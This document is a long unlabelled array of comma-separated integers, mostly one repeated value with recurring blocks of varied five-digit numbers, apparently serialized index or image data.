318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,43152,37318,37318,37318,48276,40833,37318,37318,73511,37318,67919,57964,40868,40872,43155,43156,43784,40888,36991,37318,37318,41289,40924,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,40942,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,43775,37318,37318,37318,48276,37318,37318,37318,37318,69945,73273,57964,40977,41007,44794,41023,73756,40991,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,41058,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,45645,38564,57964,41115,41135,37318,41119,41135,41149,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,37301,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,62620,37318,37318,37318,48276,62315,37318,37318,42112,62617,51150,68655,68669,68671,37318,37318,74e3,41165,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,41215,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,41238,41258,37318,41242,41258,41272,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,69205,37318,62433,37318,68839,45752,41288,37301,44633,37318,37318,37318,37318,73164,72644,41305,72644,72644,41324,38775,41542,41542,58552,65498,52179,65498,65498,52319,41461,41342,41461,41461,60376,37318,37318,37318,37318,37318,37318,57380,44576,38329,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,57802,45001,37318,37318,37318,37318,37318,62575,37318,37318,71516,41385,72644,72644,72644,72645,41405,67865,41542,58857,41542,41542,46917,69302,65498,55881,65498,65498,53308,58621,41461,41722,41461,41461,47863,54854,37318,37318,37318,37318,64802,37318,37318,72642,48855,72644,72644,72644,38767,41542,41439,41542,41542,41444,65497,64981,65498,65498,65498,59803,41461,41460,41461,41461,47863,54854,37318,37318,69109,41478,37318,60498,72644,72644,70521,58547,41542,41542,60742,46770,65498,65498,73471,59798,41461,41461,70944,47288,64766,37318,37318,37507,37318,71005,72644,60920,59569,41542,41542,72922,65498,65498,48896,41461,41461,46878,37318,60844,41498,41222,67506,72644,41518,41541,58729,41559,65498,46559,41593,41462,56939,50451,37318,66947,41614,41423,73664,58829,59801,41638,49498,41664,52412,41686,41702,41738,63218,38594,66255,64873,73961,46828,73161,59759,73663,59797,47605,39543,41802,41825,41848,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,45787,57964,41925,72170,37318,38278,38288,41945,36991,37318,37318,41289,37087,37318,37318,41981,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,69382,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,42002,37318,37318,37318,45026,37318,37318,37318,37318,37318,67919,57964,42022,71555,37318,43019,43028,71570,36991,37318,37318,41289,37087,37318,37318,37010,42042,37318,73045,37318,37318,65657,40192,38525,37318,37318,39335,40192,45833,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,42061,37318,37318,37318,48276,37318,37318,37318,37318,37318,50713,57964,37318,37318,37318,38993,38997,42078,42128,37318,37318,41289,37087,37318,37318,42147,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,42168,62003,69205,37318,37318,37318,68839,37318,37318,39275,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,41324,41542,41542,41542,58552,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,42190,37318,37318,37318,37318,37318,42212,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,67436,42249,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72187,38772,41542,41542,41542,41542,41542,72266,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,42270,41542,41542,41542,41542,49331,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,63809,37318,37318,37318,49242,42389,37318,37318,42312,41767,44524,59934,42356,42367,45136,42383,44513,42405,42445,37318,37318,40926,42420,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,44142,43528,42807,74542,43714,44329,37031,44584,37054,42466,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,42495,44053,42520,44234,42536,42631,42566,42582,42617,43323,74548,42732,42652,43181,43457,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,74695,44148,43301,42504,44146,43812,43314,42636,43906,44107,42807,42594,42699,42706,42722,43750,42901,42677,43141,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,42748,42962,43618,43603,43820,43354,42764,44271,43892,42788,42804,42826,43918,42855,43210,42882,42898,42920,44134,44337,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,42949,44040,42992,42978,43271,43008,43044,42839,43084,44099,43110,43126,43172,43197,43740,43442,43226,43242,38263,37318,38304,37318,38354,38370,45231,38397,38413,43259,44205,43287,43339,74705,42601,43379,43395,43411,42683,43427,43493,43509,57783,51848,38545,38580,73050,38677,38610,43544,43363,43588,43648,42772,43664,43059,43680,43709,43730,43766,38739,38791,38841,38876,38942,38892,43800,43836,43632,43878,43941,43957,42665,43973,43989,39013,39048,39078,44025,44069,44085,43094,44123,43693,44164,39249,55484,44195,43559,43068,43925,39327,39819,44240,42810,42904,39356,44221,43849,44282,42866,45051,43520,43862,42933,39494,44256,44298,44314,39590,43572,44353,42550,44369,44420,44431,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37091,37318,37318,37318,48276,39140,44447,37318,67184,67184,50155,62190,71955,71957,37318,37089,71946,44465,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,44502,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38381,36956,50180,37398,37414,37436,50351,44540,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,44565,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,44600,38038,38061,37792,39434,44649,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,44665,37459,38432,38451,37229,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,